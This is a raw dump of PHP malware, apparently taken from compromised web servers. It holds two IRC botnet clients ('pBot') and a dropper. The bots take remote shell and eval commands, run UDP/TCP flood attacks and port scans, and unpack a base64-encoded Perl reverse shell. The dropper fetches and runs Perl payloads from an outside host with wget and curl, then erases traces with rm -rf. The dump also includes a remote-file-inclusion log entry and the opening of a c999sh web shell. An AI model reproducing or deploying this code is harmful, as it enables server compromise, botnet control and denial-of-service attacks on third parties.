                                 $this->privmsg($this->config['chan'],"[2Auth2]: 4 Siap 8 Boss $nick"); 
                                 $this->log_in($host); 
                              } 
                              else 
                              { 
                                 $this->privmsg($this->config['chan'],"[2Auth2]: 9 Si 8 $nick 4 MaLing....!!"); 
                              } 
                            break;
                         }
                      }
                   }
                   elseif($this->is_logged_in($host))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "loadperl":
                               if(count($mcmd)>2)
                               {
                                  $this->loadperl($mcmd[1]);
                               }
                            break;
                            case "dns":
                               if(isset($mcmd[1]))
                               {
                                  $ip = explode(".",$mcmd[1]);
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
                                  {
                                     $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
                                  }
                               }
                            break;
                            case "info":
                            case "bot":
                               $this->privmsg($this->config['chan'],"[212TeamHack4-8Bot2]");
                            break;
                            case "rndnick":
                               $this->set_nick();
                            break;
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1]));
                            break;
                            case "eval":
                              $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
                            case "sexec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = shell_exec($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "exec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = exec($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "passthru":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = passthru($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "popen":
                               if(isset($mcmd[1]))
                               {
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                  $this->privmsg($this->config['chan'],"[2popen2]: $command");
                                  $pipe = popen($command,"r");
                                  while(!feof($pipe))
                                  {
                                     $pbuf = trim(fgets($pipe,512));
                                     if($pbuf != NULL)
                                        $this->privmsg($this->config['chan'],"     : $pbuf");
                                  }
                                  pclose($pipe);
                               }  

                            case "system":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = system($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "download":
                               if(count($mcmd) > 2)
                               {
                                  if(!$fp = fopen($mcmd[2],"w"))
                                  {
                                     $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download. Permissao denied.");
                                  }
                                  else
                                  {
                                     if(!$get = file($mcmd[1]))
                                     {
                                        $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download de 2".$mcmd[1]."2");
                                     }
                                     else
                                     {
                                        for($i=0;$i<=count($get);$i++)
                                        {
                                           fwrite($fp,$get[$i]);
                                        }
                                        $this->privmsg($this->config['chan'],"[2download2]: Arquivo 2".$mcmd[1]."2 baixado para 2".$mcmd[2]."2");
                                     }
                                     fclose($fp);
                                  }
                               }
                               else { $this->privmsg($this->config['chan'],"[2download2]: use .download http://sman2-wng.sch.id/new/config1/thumbs/"); }
                            break;
                            case "logout":
                               $this->log_out($host);
                               $this->privmsg($this->config['chan'],"[2auth2]: $nick deslogado!");
                            break;
                         }
                      }
                   }
                break;
             }
          }
       }
       $old_buf = $this->buf;
    }
    $this->start();
 }
 function send($msg)
 {
    fwrite($this->conn,"$msgrn");

 }
 function join($chan,$key=NULL)
 {
    $this->send("JOIN $chan $key");
 }
 function privmsg($to,$msg)
 {
    $this->send("PRIVMSG $to :$msg");
 }
 function notice($to,$msg)
 {
    $this->send("NOTICE $to :$msg");
 }
 function is_logged_in($host)
 {
    if(isset($this->users[$host]))
       return 1;
    else
       return 0;
 }
 function log_in($host)
 {
    $this->users[$host] = true;
 }
 function log_out($host)
 {
    unset($this->users[$host]);
 }
 function set_nick()
 {
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
          $this->nick = "[A]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
          $this->nick = "[I]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
          $this->nick = "[X]";
       else
          $this->nick = "[U]";
    }
    else
    {
       $this->nick = "[C]";
    }
    $this->nick .= $this->config['prefix'];
    for($i=0;$i<$this->config['maxrand'];$i++)
       $this->nick .= mt_rand(0,9);
    $this->send("NICK ".$this->nick);
 }
  function loadperl($ip)
 {
    $this->privmsg($this->config['chan'],"[2loadperl2]: loadperl ke $ip");
    $dc_source = "wget http://sman2-wng.sch.id/new/config1/thumbs/bj.txt";
    if (is_writable("/tmp"))
    {
      if (file_exists("/tmp/bj.txt")) { unlink("/tmp/bj.txt"); }
      $fp=fopen("/tmp/bj.txt","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /tmp/bj.txt $ip &");
      unlink("/tmp/bj.txt");
    }
    else
    {
    if (is_writable("/var/tmp"))
    {
      if (file_exists("/var/tmp/bj.txt")) { unlink("/var/tmp/bj.txt"); }
      $fp=fopen("/var/tmp/bj.txt","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /var/tmp/bj.txt $ip &");
      unlink("/var/tmp/bj.txt");
    }
    if (is_writable("."))
    {
      if (file_exists("bj.txt")) { unlink("bj.txt"); }
      $fp=fopen("bj.txt","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl bj.txt $ip &");
      unlink("bj.txt");
    }
    }
  }

}

$bot = new pBot; 
$bot->start(); 

?>

shell bot running
<?
shell_exec("cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*");
shell_exec('cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
shell_exec('cd /tmp;curl -O http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
shell_exec('cd /tmp;lwp-download http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
shell_exec('cd /tmp;lynx -source http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
shell_exec('cd /tmp;fetch http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
shell_exec('cd /tmp;GET http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
shell_exec('rm -rf miri.txt');
shell_exec('rm -rf *.jpg');
shell_exec('rm -rf miri.txt*');
shell_exec('rm -rf *.jpg.*');
shell_exec('rm -rf /tmp/*');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg.*');
passthru('rm -rf miri.txt');
passthru('rm -rf *.jpg');
passthru('rm -rf miri.txt*');
passthru('rm -rf *.jpg.*');
passthru("cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*");
passthru('cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
passthru('cd /tmp;curl -O http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
passthru('cd /tmp;lwp-download http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
passthru('cd /tmp;lynx -source http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
passthru('cd /tmp;fetch http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
passthru('cd /tmp;GET http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
passthru('rm -rf miri.txt');
passthru('rm -rf *.jpg');
passthru('rm -rf miri.txt*');
passthru('rm -rf *.jpg.*');
shell_exec('rm -rf /tmp/*');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg.*');
exec("cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*");
exec('cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;curl -O http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;lwp-download http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;lynx -source http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;fetch http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;GET http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('rm -rf miri.txt');
exec('rm -rf *.jpg');
exec('rm -rf miri.txt*');
exec('rm -rf *.jpg.*');
shell_exec('rm -rf /tmp/*');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg.*');
passthru('rm -rf miri.txt');
passthru('rm -rf *.jpg');
passthru('rm -rf miri.txt*');
passthru('rm -rf *.jpg.*');
exec("cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*");
exec('cd /tmp; wget http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;curl -O http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;lwp-download http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;lynx -source http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;fetch http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
exec('cd /tmp;GET http://miri.wap.sh/mild.txt;perl miri.txt;perl miri.txt.*');
system('rm -rf miri.txt');
system('rm -rf *.jpg');
system('rm -rf miri.txt*');
system('rm -rf *.jpg.*');
shell_exec('rm -rf /tmp/*');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg');
shell_exec('rm -rf /tmp/*.jpg.*');
passthru('rm -rf miri.txt');
passthru('rm -rf *.jpg');
passthru('rm -rf miri.txt*');
passthru('rm -rf *.jpg.*');
?>

<?

/*
*
*  LinkIRC@TeaM. since 2003
*  edited by: LinkIRC
*
*  COMMANDS:
*
*  .user <password> //login to the bot
*  .logout //logout of the bot
*  .die //kill the bot
*  .restart //restart the bot
*  .mail <to> <from> <subject> <msg> //send an email
*  .dns <IP|HOST> //dns lookup
*  .download <URL> <filename> //download a file
*  .exec <cmd> // uses exec() //execute a command
*  .sexec <cmd> // uses shell_exec() //execute a command
*  .cmd <cmd> // uses popen() //execute a command
*  .info //get system information
*  .php <php code> // uses eval() //execute php code
*  .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
*  .udpflood <target> <packets> <packetsize> <delay> [port] //udpflood attack
*  .raw <cmd> //raw IRC command
*  .rndnick //change nickname
*  .pscan <host> <port> //port scan
*  .safe  // test safe_mode (dvl)
*  .inbox <to> // test inbox (dvl)
*  .conback <ip> <port> // conect back (dvl)
*  .uname // return shell's uname using a php function (dvl)
*
*/

set_time_limit(0);
error_reporting(0);
echo "k3ls3r1f1c0k";

class pBot
{
var $config = array("server"=>"irc.javairc.org",  // ip/host da rede
                     "port"=>"7000",         // porta da rede
                     "pass"=>"",         // senha da rede
                     "prefix"=>"dos",         // nick do bot
                     "maxrand"=>"4",         // quantidade de numero no nick do bot
                     "chan"=>"#seve",         // canal que os bots vao entrar
                     "chan2"=>"#seve",     // canal aonde os bots vão mandar as vulns ao conectar (-n)
                     "key"=>"sempakz",      // senha do canal
                     "modes"=>"+p",              // modos do bot
                     "password"=>"sempakz",           // senha pra acesso (.user SENHA)
                     "trigger"=>".",         // prefico dos comandos
                     "hostauth"=>"@newbie.aja"         // host dos owners (* for any hostname)
                     );
var $users = array();
function start()
{
    if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
       $this->start();
    $ident = $this->config['prefix'];
    $alph = range("0","9");
    for($i=0;$i<$this->config['maxrand'];$i++)
       $ident .= $alph[rand(0,9)];
    if(strlen($this->config['pass'])>0)
       $this->send("PASS ".$this->config['pass']);
    $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
    $this->set_nick();
    $this->main();
}
function main()
{
    while(!feof($this->conn))
    {
       $this->buf = trim(fgets($this->conn,512));
       $cmd = explode(" ",$this->buf);
       if(substr($this->buf,0,6)=="PING :")
       {
          $this->send("PONG :".substr($this->buf,6));
       }
       if(isset($cmd[1]) && $cmd[1] =="001")
       {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);
          $this->join($this->config['chan'],$this->config['key']);
          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
          $this->privmsg($this->config['chan2'],"[2uname!2]: $uname (safe: $safemode)");
          $this->privmsg($this->config['chan2'],"[2vuln!2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
       }
       if(isset($cmd[1]) && $cmd[1]=="433")
       {
          $this->set_nick();
       }
       if($this->buf != $old_buf)
       {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
           for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
             switch($cmd[1])
             {
                case "QUIT":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PART":
                   if($this->is_logged_in($host))
                   {
                      $this->log_out($host);
                   }
                break;
                case "PRIVMSG":
                   if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "user":
                              if($mcmd[1]==$this->config['password'])
                              {
                                 $this->log_in($host);
                              }
                              else
                              {
                                 $this->notice($this->config['chan'],"[2Auth2]: Senha errada $nick idiota!!");
                              }
                            break;
                         }
                      }
                   }
                   elseif($this->is_logged_in($host))
                   {
                      if(substr($mcmd[0],0,1)==".")
                      {
                         switch(substr($mcmd[0],1))
                         {
                            case "restart":
                               $this->send("QUIT :restart commando from $nick");
                               fclose($this->conn);
                               $this->start();
                            break;
                            case "mail": //mail to from subject message
                               if(count($mcmd)>4)
                               {
                                  $header = "From: <".$mcmd[2].">";
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
                                  {
                                     $this->privmsg($this->config['chan'],"[2mail2]: Impossivel mandar e-mail.");
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[2mail2]: Mensagem enviada para 2".$mcmd[1]."2");
                                  }
                               }
                            break;
                            case "safe":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
                               {
                               $safemode = "on";
                               }
                               else {
                               $safemode = "off";
                               }
                               $this->privmsg($this->config['chan'],"[2safe mode2]: ".$safemode."");
                            break;
                            case "inbox": //teste inbox
                               if(isset($mcmd[1]))
                               {
                                  $token = md5(uniqid(rand(), true));
                                  $header = "From: <inbox".$token."@xdevil.org>";
                                  $a = php_uname();
                                  $b = getenv("SERVER_SOFTWARE");
                                  $c = gethostbyname($_SERVER["HTTP_HOST"]);
                                  if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003nnip: $c nsoftware: $b nsystem: $a nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."nngreetz: wickednby: dvl <admin@xdevil.org>",$header))
                                  {
                                     $this->privmsg($this->config['chan'],"[2inbox2]: Unable to send");
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[2inbox2]: Message sent to 2".$mcmd[1]."2");
                                  }
                               }
                            break;
                            case "conback":
                               if(count($mcmd)>2)
                               {
                                  $this->conback($mcmd[1],$mcmd[2]);
                               }
                            break;
                            case "dns":
                               if(isset($mcmd[1]))
                               {
                                  $ip = explode(".",$mcmd[1]);
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
                                  {
                                     $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[2dns2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
                                  }
                               }
                            break;
                            case "info":
                            case "vunl":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config['chan'],"[2info2]: $uname (safe: $safemode)");
                               $this->privmsg($this->config['chan'],"[2vuln2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
                            break;
                            case "bot":
                               $this->privmsg($this->config['chan'],"[2bot2]: phpbot 2.0 by; #crew@corp.");
                            break;
                            case "uname":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config['chan'],"[2info2]: $uname (safe: $safemode)");
                            break;
                            case "rndnick":
                               $this->set_nick();
                            break;
                            case "raw":
                               $this->send(strstr($msg,$mcmd[1]));
                            break;
                            case "eval":
                              $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
                            break;
                            case "sexec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = shell_exec($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "exec":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = exec($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "passthru":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = passthru($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;

                            case "popen":
                               if(isset($mcmd[1]))
                               {
                                  $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                                  $this->privmsg($this->config['chan'],"[2popen2]: $command");
                                  $pipe = popen($command,"r");
                                  while(!feof($pipe))
                                  {
                                     $pbuf = trim(fgets($pipe,512));
                                     if($pbuf != NULL)
                                        $this->privmsg($this->config['chan'],"     : $pbuf");
                                  }
                                  pclose($pipe);
                               }  
               
                            case "system":
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
                               $exec = system($command);
                               $ret = explode("n",$exec);
                               for($i=0;$i<count($ret);$i++)
                                  if($ret[$i]!=NULL)
                                     $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
                            break;


                            case "pscan": // .pscan 127.0.0.1 6667
                               if(count($mcmd) > 2)
                               {
                                  if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
                                     $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2open2");
                                  else
                                     $this->privmsg($this->config['chan'],"[2pscan2]: ".$mcmd[1].":".$mcmd[2]." is 2closed2");
                               }
                            break;
                            case "ud.server": // .ud.server <server> <port> [password]
                               if(count($mcmd)>2)
                               {
                                  $this->config['server'] = $mcmd[1];
                                  $this->config['port'] = $mcmd[2];
                                  if(isset($mcmcd[3]))
                                  {
                                   $this->config['pass'] = $mcmd[3];
                                   $this->privmsg($this->config['chan'],"[2update2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
                                  }
                                  else
                                  {
                                     $this->privmsg($this->config['chan'],"[2update2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
                                  }
                               }
                            break;
                            case "download":
                               if(count($mcmd) > 2)
                               {
                                  if(!$fp = fopen($mcmd[2],"w"))
                                  {
                                     $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download. Permissao negada.");
                                  }
                                  else
                                  {
                                     if(!$get = file($mcmd[1]))
                                     {
                                        $this->privmsg($this->config['chan'],"[2download2]: Nao foi possivel fazer o download de 2".$mcmd[1]."2");
                                     }
                                     else
                                     {
                                        for($i=0;$i<=count($get);$i++)
                                        {
                                           fwrite($fp,$get[$i]);
                                        }
                                        $this->privmsg($this->config['chan'],"[2download2]: Arquivo 2".$mcmd[1]."2 baixado para 2".$mcmd[2]."2");
                                     }
                                     fclose($fp);
                                  }
                               }
                               else { $this->privmsg($this->config['chan'],"[2download2]: use .download http://your.host/file /tmp/file"); }
                            break;
                            case "die":
                               $this->send("QUIT :die command from $nick");
                               fclose($this->conn);
                               exit;
                            case "logout":
                               $this->log_out($host);
                               $this->privmsg($this->config['chan'],"[2auth2]: $nick deslogado!");
                            break;
                            case "udpflood":
                               if(count($mcmd)>3)
                               {
                                  $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
                               }
                            break;
                            case "tcpflood":
                               if(count($mcmd)>5)
                               {
                                  $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                               }
                            break;
                         }
                      }
                   }
                break;
             }
          }
       }
       $old_buf = $this->buf;
    }
    $this->start();
}
function send($msg)
{
    fwrite($this->conn,"$msgrn");

}
function join($chan,$key=NULL)
{
    $this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
    $this->send("PRIVMSG $to :$msg");
}
function notice($to,$msg)
{
    $this->send("NOTICE $to :$msg");
}
function is_logged_in($host)
{
    if(isset($this->users[$host]))
       return 1;
    else
       return 0;
}
function log_in($host)
{
    $this->users[$host] = true;
}
function log_out($host)
{
    unset($this->users[$host]);
}
function set_nick()
{
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
          $this->nick = "[A]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
          $this->nick = "[I]";
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
          $this->nick = "[X]";
       else
          $this->nick = "[U]";
    }
    else
    {
       $this->nick = "[C]";
    }
    $this->nick .= $this->config['prefix'];
    for($i=0;$i<$this->config['maxrand'];$i++)
       $this->nick .= mt_rand(0,9);
    $this->send("NICK ".$this->nick);
}
  function udpflood($host,$packetsize,$time,$port) {
    if ($port == "") { $portt = "random"; }
    else { $portt = $port; }
    $this->privmsg($this->config['chan'],"2[2udpflood started - 2target:2 $host 2port:2 $portt 2time:2 $time]");
    $packet = "";
    for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
    $timei = time();
    $i = 0;
    while(time()-$timei < $time) {
        if ($port == "") { $port = mt_rand(0,6000); }
        $fp=fsockopen("udp://".$host,$port,$e,$s,5);
          fwrite($fp,$packet);
           fclose($fp);
        $i++;
    }
    $env = $i * $packetsize;
    $env = $env / 1048576;
    $vel = $env / $time;
    $vel = round($vel);
    $env = round($env);
    $this->privmsg($this->config['chan'],"[2UdpFlood Finished!2]: $env MB enviados / Media: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
    $this->privmsg($this->config['chan'],"[2TcpFlood Started!2]");
    $packet = "";
    for($i=0;$i<$packetsize;$i++)
       $packet .= chr(mt_rand(1,256));
    for($i=0;$i<$packets;$i++)
    {
       if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
       {
          $this->privmsg($this->config['chan'],"[2TcpFlood2]: Error: <$e>");
          return 0;
       }
       else
       {
          fwrite($fp,$packet);
          fclose($fp);
       }
       sleep($delay);
    }
    $this->privmsg($this->config['chan'],"[2TcpFlood Finished!2]: Config - $packets pacotes para $host:$port.");
}
function conback($ip,$port)
{
    $this->privmsg($this->config['chan'],"[2conback2]: tentando conectando a $ip:$port");
    $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
    if (is_writable("/tmp"))
    {
      if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
      $fp=fopen("/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /tmp/dc.pl $ip $port &");
      unlink("/tmp/dc.pl");
    }
    else
    {
    if (is_writable("/var/tmp"))
    {
      if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
      $fp=fopen("/var/tmp/dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl /var/tmp/dc.pl $ip $port &");
      unlink("/var/tmp/dc.pl");
    }
    if (is_writable("."))
    {
      if (file_exists("dc.pl")) { unlink("dc.pl"); }
      $fp=fopen("dc.pl","w");
      fwrite($fp,base64_decode($dc_source));
      passthru("perl dc.pl $ip $port &");
      unlink("dc.pl");
    }
    }
  }
}

$bot = new pBot;
$bot->start();

?>
176.9.57.228 - - [11/Oct/2015:09:46:27 +0200] "GET //dompdf.php?input_file=http://wordpress.com.longlifeweld.com.my/id2.txt?? HTTP/1.1" 404 1467 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28"
2015-09-10 00:30:03 31.201.249.81
websitelooker.com : 31.201.249.81
whois.domaintools.com : 31.201.249.81
<?php
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 pre-release build #16"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);}
else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

